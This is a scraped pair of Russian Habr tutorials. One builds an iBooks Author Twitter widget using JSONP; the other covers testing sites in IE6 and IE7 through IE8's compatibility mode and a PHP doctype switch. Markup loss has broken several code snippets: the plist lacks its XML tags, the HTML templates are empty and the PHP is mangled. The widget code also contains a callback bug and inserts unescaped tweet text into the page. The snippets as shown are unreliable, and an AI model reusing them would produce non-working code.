Info.plist — что в конфиге?
---------------------------
Данный файл конфига представляет собой ничто иное, как xml файл, в котором параметры записываются как
```
Параметр
<тип данных>Значение
```
Используемые параметры:
* **CFBundleDevelopmentRegion** — Необязательный параметр, как правило, описывает родной язык создателя виджета. Его значениями могут быть English, Russain
* **CFBundleDisplayName** — Обязательный параметр, значением которого является строка с названием виджета. В нашем примере укажем Twitter
* **CFBundleIdentifier** — Обязательный параметр — строка, однозначно идентифицирующая виджет. Используется инвертированное доменное имя. Например: ru.MySite.widgets.Twitter
* **CFBundleName** — Необязательный параметр, представляется строкой определяющее название виджета.
* **CFBundleVersion** и **CFBundleShortVersionString** — необязательные параметры — строки, содержащие версию виджета. «длинную» и «короткую» версии соответственно
* **Height** и **Width** — необязательные параметры. — значением данных параметров являются числа, определяющие высоту и ширину виджетов
* **IBNotifiesOnReady** — Необязательный параметр. При установке данного параметра в true — виджет должен сообщить приложению, когда необходимо перейти к HTML коду, убрав картинку (при загрузке виджета, пока он не будет готов, отображается Default.png) Данный параметр целесообразно ставить в true, в случае если перед отображением данных виджет должен сделать «сложные вычисления», либо собрать данные с нескольких серверов… (в общем случае — когда виджет будет «подготавливать информацию» некоторое время). В остальных случаях его лучше поставить в false. Переключение от картинки к HTML коду происходит по widget.notifyContentIsReady ()
* **MainHTML** — представляется строкой, определяет имя основного html файла виджета
Использование данных параметров будет достаточным для создания первых виджетов.
Теперь приступим непосредственно к реализации виджета.
Непосредственно реализация виджета
----------------------------------
###### Планируем работу виджета
Для того, чтобы автор мог контролировать виджет, возьмем за начальные условия:
1. Виджет при запуске отправляет запрос на сервер, получает список пользователей\хештегов, которые должен отобразить
2. Формирует данные в нужнный для твиттера «формат»
3. «Импортирует» скрипт Twitter API, ожидает его ответа
4. Оформляет данные в понятное для пользователя представление
В данном виджете будем использовать библиотеку JQuery (для упрощения работы с JSON и создания AJAX запросов)
###### HTML-файл
Не представляет «практической» пользы в данном примере. Содержит контейнер для будущих твитов:
```
```
###### JavaScript начинка
Главной задачей скрипта будет отправка AJAX запросов к серверам. Здесь существует одно ограничение. В прямом виде такие запросы отправить нам не получится. Точнее запрос уйдет на сервер, сервер его обработает, но принять данные виджет не сможет. Поэтому выходом из данной ситуации будет использование JSONP.
Что это такое? Это паттерн, который позволит нам отправить данные на удаленный сервер и «обойти» политику ограничения доменов.
Как выглядит данный способ?
Виджет создает GET запрос, в параметрах которого(помимо нужной информации) указывает функцию callback. Сервер возвращает данные, обернутые в вызов JavaScript функции в формате
```
callback-функция(Данные в формате JSON);
```
Определим данные, которые будет отправлять сервер: допустим данные будут содержать только один параметр results, который будет представлен как массив элементов name (включаем сюда, как пользователей, так и хештеги)
Примерный ответ сервера:
```
jsonp_callback({"results":[{"name":"user1"},{"name":"#hashCode1"}]});
```
Напишем скрипт, который будет делать запрос на сервер и обрабатывать полученные данные, переводя в «нужный» для твиттера формат:
(формат простой — твиты пользователя определяются как from: пользователь, связь между различными фильтрами поиска проводится посредством "+OR+", хеш-теги не меняются за исключением переноса # в символ %23)
```
//В этой переменной накапливаем строку для запроса
var requestStr = "";
//Переводит один "поисковой фильтр" в часть запроса
function PrepareItem(item)
{
if (requestStr != "")
requestStr += '+OR+';
if (item[0] != "#")
{//перевод поиска твитов по пользователю
requestStr += 'from:' + item;
}
else
{//перевод поиска по хеш-тегу
requestStr += '%23';
for (var index = 1; index < item.length; index++)
requestStr += item[index];
}
}
$(document).ready(function()
{
$.ajax({
//Определение формата передачи данных
dataType: 'jsonp',
jsonp: 'jsonp_callback', //в GET запрос под этим названием и будет функция-callback
url: "http://mySite.ru/widgets/twitter.php",
data: { ID:$('#ref').val() },
success: function( result ) {
$(result.results).each(function(item)
{
PrepareItem(item.name);
});
//Организуем запрос к твиттеру (чуть ниже будет ее описание)
CreateQueryToTwitter(requestStr);
}
});
```
Однако JSONP предполагает и второй способ передачи данных (физически он не отличается от первого — разница только в программных реализациях) — именно вторым способом мы и воспользуемся для передачи запроса твиттеру.
Данный способ заключается в добавлении в HTML код элемента «script», тело которого пусто, а src содержит такой же GET запрос с указанием функции callback и других параметров.
После отправки запроса нам остается только разобрать ответ твиттера (самая полезная информация находится в элементе results) и отформатировать его.
```
function CreateQueryToTwitter(request)
{
var newScript = document.createElement('script');
newScript.setAttribute("type", "text/javascript");//организуем скрипт
newScript.setAttribute("src", "http://search.twitter.com/search.json?q=" + request + "&callback=tweetResponse&rpp=40");
//добавляем его к HTML коду
document.getElementsByTagName("head")[0].appendChild(newScript);
}
function tweetResponse(result) {
var container=$('#tweet-container');
container.html('');
//обрабатываем ответ
$(result.results).each(function () {
var str = (' \
[](http://twitter.com/'+this.from_user+')\
['+this.from\_user+'](http://twitter.com/'+this.from_user+')\
' + formatTweet(this.text) + '\
');
container.append(str);
});
}
//Создадим гиперссылки на людей, другие ссылки и хештеги
function formatTweet(str) {
str=' '+str;
str = str.replace(/((ftp|https?):\/\/([-\w\.]+)+(:\d+)?(\/([\w/\_\.]\*(\?\S+)?)?)?)/gm,'<$1>');
str = str.replace(/([^\w])\@([\w\-]+)/gm,'$1@[$2](http://twitter.com/$2)');
str = str.replace(/([^\w])\#([а-я,А-Я,a-z,A-Z,\-]+)/gm,'$1[#$2](http://twitter.com/search?q=%23$2)');
return str;
}
```
Остается только прописать стили для виджета и HTML код готов:
```
body
{
font-family: Tahoma,Arial,Verdana,sans-serif;
width:1024px;
margin: auto;
height:768px;
}
#tweet-container
{
overflow-y:scroll;
height:768px;
width:660px;
margin: auto;
}
.tweet
{
color:black;
margin-top:5px;
background-color:#F0F1F4;
border-bottom:3px solid #5ea8de;
padding:10px;
margin-left:5px;
width:600px;
height:autopx;
}
.avatar
{
float:left;
}
.avatar:hover
{
opacity:0.5;
}
.user
{
float:left;
padding-left:10px;
}
.user a
{
text-decoration:none;
color:black;
font-size:1.1em;
}
.user a:hover
{
color:#DB4FDB
}
.txt
{
clear:left;
}
```
Теперь добавим к данной веб-страничке файл Info.plist. В моем виджете он выглядит так:
```
xml version="1.0" encoding="UTF-8"?
BackwardsCompatibleClassLookup
CFBundleDevelopmentRegion
Russian
CFBundleDisplayName
twitter
BRNotifiesOnReady
CFBundleIdentifier
ru.mySite.widget.twtter
CFBundleName
twitter
CFBundleShortVersionString
1.0
CFBundleVersion
1.0
KFNotifiesOnReady
Height
768
MainHTML
main.html
Width
1024
IBNotifiesOnReady
```
Таким образом, остается только переименовать папку, добавив к ней расширение .wdgt и его можно смело использовать в Ibook Authors.
### В заключение
В данном how-to я постарался разобрать этапы создания простейшего виджета и описать наиболее «опасные» места, такие как связь виджета с сервером. Конечно же, если убрать связь виджета с неким сервером, который задает ему имена и хеш-теги и прописав их в виджете — можно уменьшить количество зависимостей данного виджета.
Надеюсь данная статья не просто заняла Ваше время, но и будет чем-то полезна. :) | https://habr.com/ru/post/171141/ | null | ru | null |
# Как использовать Internet Explorer 8 для тестирования сайтов в IE6 и IE7
О чем-то подобном уже писал заблокированный ныне хабраюзер SelenIT. Но австралийский разработчик Elbert F. предлагает новый способ тестирования сайта «в IE6» с помощью кусочка PHP-кода.
Лично я не сильно волнуюсь, как выглядят мои сайты в IE6, 7 или 8. Если я вдруг захочу на это посмотреть, у меня есть [волшебная кнопка](http://elbertf.com/ie6ify/). А для тех, кто волнуется, есть способы протестировать сайт в этих браузерах.
#### Способ №1 (посложнее)
Усли у вас Windows XP или более ранняя версия, вы можете использовать [standalone-версию IE6](http://tredosoft.com/Multiple_IE). Если у вас Windows 7 (не бета-версия), вы можете использовать бесплатный [IE Application Compatibility VPC Image от Microsoft](http://www.microsoft.com/downloads/details.aspx?FamilyId=21EABB90-958F-4B64-B5F1-73D0A413C8EF&displaylang=en), чтобы запустить XP с IE6 или 7 на виртуальной машине. Если у вас другая операционная система (Windows Vista, Mac OS, Linux), и при этом есть лицензия Windows XP, вы можете запустить ее при помощи виртуальной машины типа [VirtualBox](http://www.virtualbox.org/).
#### Способ №2 (попроще)
Те, у кого есть IE8 — для вас есть способ попроще. Режим [Compatibility View](http://www.microsoft.com/windows/internet-explorer/features/easier.aspx) будет отображать страницы, как в IE7, а пропущенный [doctype](http://www.w3.org/QA/Tips/Doctype) заставит ваш IE8 показывать сайты, как это делал бы IE6 в [режиме совместимости](http://ru.wikipedia.org/wiki/Quirks_mode).
Вы можете просто удалить doctype из ваших веб-страниц для тестирования в IE6. Или, если вы используете PHP, добавьте к ним простой переключатель:
`php if ( !isset($_GET['ie6']) ): ?
strict.dtd">
php endif ?` | https://habr.com/ru/post/75276/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.